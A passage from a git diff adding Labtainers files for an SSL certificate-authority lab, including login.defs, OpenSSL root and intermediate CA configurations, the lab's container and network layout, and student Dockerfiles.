useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/sbin/faux_init new file mode 100755 index 000000000..7ce7d3c88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/index.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/index.txt new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/crlnumber b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/crlnumber new file mode 100644 index 000000000..83b33d238 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/crlnumber @@ -0,0 +1 @@ +1000 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/index.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/index.txt new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/openssl.cnf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/openssl.cnf new file mode 100644 index 000000000..a8a6116ea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/openssl.cnf @@ -0,0 +1,132 @@ +# OpenSSL intermediate CA configuration file. +# Copy to `/root/ca/intermediate/openssl.cnf`. + +[ ca ] +# `man ca` +default_ca = CA_default + +[ CA_default ] +# Directory and file locations. +dir = /home/admin/ca/intermediate +certs = $dir/certs +crl_dir = $dir/crl +new_certs_dir = $dir/newcerts +database = $dir/index.txt +serial = $dir/serial +RANDFILE = $dir/private/.rand + +# The root key and root certificate. +private_key = $dir/private/intermediate.key.pem +certificate = $dir/certs/intermediate.cert.pem + +# For certificate revocation lists. +crlnumber = $dir/crlnumber +crl = $dir/crl/intermediate.crl.pem +crl_extensions = crl_ext +default_crl_days = 30 + +# SHA-1 is deprecated, so use SHA-2 instead. +default_md = sha256 + +name_opt = ca_default +cert_opt = ca_default +default_days = 375 +preserve = no +policy = policy_loose + +[ policy_strict ] +# The root CA should only sign intermediate certificates that match. +# See the POLICY FORMAT section of `man ca`. +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_loose ] +# Allow the intermediate CA to sign a more diverse range of certificates. +# See the POLICY FORMAT section of the `ca` man page. +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ req ] +# Options for the `req` tool (`man req`). +default_bits = 2048 +distinguished_name = req_distinguished_name +string_mask = utf8only + +# SHA-1 is deprecated, so use SHA-2 instead. +default_md = sha256 + +# Extension to add when the -x509 option is used. +x509_extensions = v3_ca + +[ req_distinguished_name ] +# See . +countryName = Country Name (2 letter code) +stateOrProvinceName = State or Province Name +localityName = Locality Name +0.organizationName = Organization Name +organizationalUnitName = Organizational Unit Name +commonName = Common Name +emailAddress = Email Address + +# Optionally, specify some defaults. +countryName_default = US +stateOrProvinceName_default = CA +localityName_default = +0.organizationName_default = Example +organizationalUnitName_default = +emailAddress_default = + +[ v3_ca ] +# Extensions for a typical CA (`man x509v3_config`). +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always,issuer +basicConstraints = critical, CA:true +keyUsage = critical, digitalSignature, cRLSign, keyCertSign + +[ v3_intermediate_ca ] +# Extensions for a typical intermediate CA (`man x509v3_config`). +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always,issuer +basicConstraints = critical, CA:true, pathlen:0 +keyUsage = critical, digitalSignature, cRLSign, keyCertSign + +[ usr_cert ] +# Extensions for client certificates (`man x509v3_config`). +basicConstraints = CA:FALSE +nsCertType = client, email +nsComment = "OpenSSL Generated Client Certificate" +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer +keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment +extendedKeyUsage = clientAuth, emailProtection + +[ server_cert ] +# Extensions for server certificates (`man x509v3_config`). +basicConstraints = CA:FALSE +nsCertType = server +nsComment = "OpenSSL Generated Server Certificate" +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer:always +keyUsage = critical, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth + +[ crl_ext ] +# Extension for CRLs (`man x509v3_config`). +authorityKeyIdentifier=keyid:always + +[ ocsp ] +# Extension for OCSP signing certificates (`man ocsp`). +basicConstraints = CA:FALSE +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer +keyUsage = critical, digitalSignature +extendedKeyUsage = critical, OCSPSigning diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/serial b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/serial new file mode 100644 index 000000000..83b33d238 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/intermediate/serial @@ -0,0 +1 @@ +1000 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/openssl.cnf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/openssl.cnf new file mode 100644 index 000000000..e04028057 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/openssl.cnf @@ -0,0 +1,132 @@ +# OpenSSL root CA configuration file. +# Copy to `~/ca/openssl.cnf`. + +[ ca ] +# `man ca` +default_ca = CA_default + +[ CA_default ] +# Directory and file locations. +dir = /home/admin/ca +certs = $dir/certs +crl_dir = $dir/crl +new_certs_dir = $dir/newcerts +database = $dir/index.txt +serial = $dir/serial +RANDFILE = $dir/private/.rand + +# The root key and root certificate. +private_key = $dir/private/ca.key.pem +certificate = $dir/certs/ca.cert.pem + +# For certificate revocation lists. +crlnumber = $dir/crlnumber +crl = $dir/crl/ca.crl.pem +crl_extensions = crl_ext +default_crl_days = 30 + +# SHA-1 is deprecated, so use SHA-2 instead. +default_md = sha256 + +name_opt = ca_default +cert_opt = ca_default +default_days = 375 +preserve = no +policy = policy_strict + +[ policy_strict ] +# The root CA should only sign intermediate certificates that match. +# See the POLICY FORMAT section of `man ca`. +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_loose ] +# Allow the intermediate CA to sign a more diverse range of certificates. +# See the POLICY FORMAT section of the `ca` man page. +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ req ] +# Options for the `req` tool (`man req`). +default_bits = 2048 +distinguished_name = req_distinguished_name +string_mask = utf8only + +# SHA-1 is deprecated, so use SHA-2 instead. +default_md = sha256 + +# Extension to add when the -x509 option is used. +x509_extensions = v3_ca + +[ req_distinguished_name ] +# See . +countryName = Country Name (2 letter code) +stateOrProvinceName = State or Province Name +localityName = Locality Name +0.organizationName = Organization Name +organizationalUnitName = Organizational Unit Name +commonName = Common Name +emailAddress = Email Address + +# Optionally, specify some defaults. +countryName_default = US +stateOrProvinceName_default = CA +localityName_default = +0.organizationName_default = Example LLC +organizationalUnitName_default = +emailAddress_default = + +[ v3_ca ] +# Extensions for a typical CA (`man x509v3_config`). +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always,issuer +basicConstraints = critical, CA:true +keyUsage = critical, digitalSignature, cRLSign, keyCertSign + +[ v3_intermediate_ca ] +# Extensions for a typical intermediate CA (`man x509v3_config`). +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always,issuer +basicConstraints = critical, CA:true, pathlen:0 +keyUsage = critical, digitalSignature, cRLSign, keyCertSign + +[ usr_cert ] +# Extensions for client certificates (`man x509v3_config`). +basicConstraints = CA:FALSE +nsCertType = client, email +nsComment = "OpenSSL Generated Client Certificate" +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer +keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment +extendedKeyUsage = clientAuth, emailProtection + +[ server_cert ] +# Extensions for server certificates (`man x509v3_config`). +basicConstraints = CA:FALSE +nsCertType = server +nsComment = "OpenSSL Generated Server Certificate" +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer:always +keyUsage = critical, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth + +[ crl_ext ] +# Extension for CRLs (`man x509v3_config`). +authorityKeyIdentifier=keyid:always + +[ ocsp ] +# Extension for OCSP signing certificates (`man ocsp`). +basicConstraints = CA:FALSE +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer +keyUsage = critical, digitalSignature +extendedKeyUsage = critical, OCSPSigning diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/serial b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/serial new file mode 100644 index 000000000..83b33d238 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/ca/serial @@ -0,0 +1 @@ +1000 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/about.txt new file mode 100644 index 000000000..ebab58b50 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/about.txt @@ -0,0 +1 @@ +The use of SSL to authenticate both sides of a connection. Includes creation of client and server certificates. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/start.config new file mode 100644 index 000000000..afd4bc6e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/config/start.config @@ -0,0 +1,79 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER ca + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED ca_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ca + USER admin + PASSWORD password + LAN 172.25.0.2 + ADD-HOST LAN + ADD-HOST plc1.example.com:172.25.0.4 + ADD-HOST plc2.example.com:172.25.0.6 + +CONTAINER hmi1 + USER admin + PASSWORD password + LAN 172.25.0.3 + ADD-HOST LAN + ADD-HOST plc1.example.com:172.25.0.4 + ADD-HOST plc2.example.com:172.25.0.6 + TERMINAL_GROUP hmi + X11 YES +CONTAINER hmi2 + USER admin + PASSWORD password + LAN 172.25.0.5 + ADD-HOST LAN + ADD-HOST plc1.example.com:172.25.0.4 + ADD-HOST plc2.example.com:172.25.0.6 + TERMINAL_GROUP hmi + X11 YES +CONTAINER plc1 + USER admin + PASSWORD password + LAN 172.25.0.4 + ADD-HOST LAN + ADD-HOST plc1.example.com:172.25.0.4 + ADD-HOST plc2.example.com:172.25.0.6 + TERMINAL_GROUP plc +CONTAINER plc2 + USER admin + PASSWORD password + LAN 172.25.0.6 + ADD-HOST LAN + ADD-HOST plc1.example.com:172.25.0.4 + ADD-HOST plc2.example.com:172.25.0.6 + TERMINAL_GROUP plc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.ca.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.ca.student new file mode 100644 index 000000000..d98edf1be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.ca.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y sshpass +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi1.student new file mode 100644 index 000000000..2ce65dfa8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.wireshark +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi2.student new file mode 100644 index 000000000..2ce65dfa8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.hmi2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.wireshark +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc1.student new file mode 100644 index 000000000..47cbe95dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# 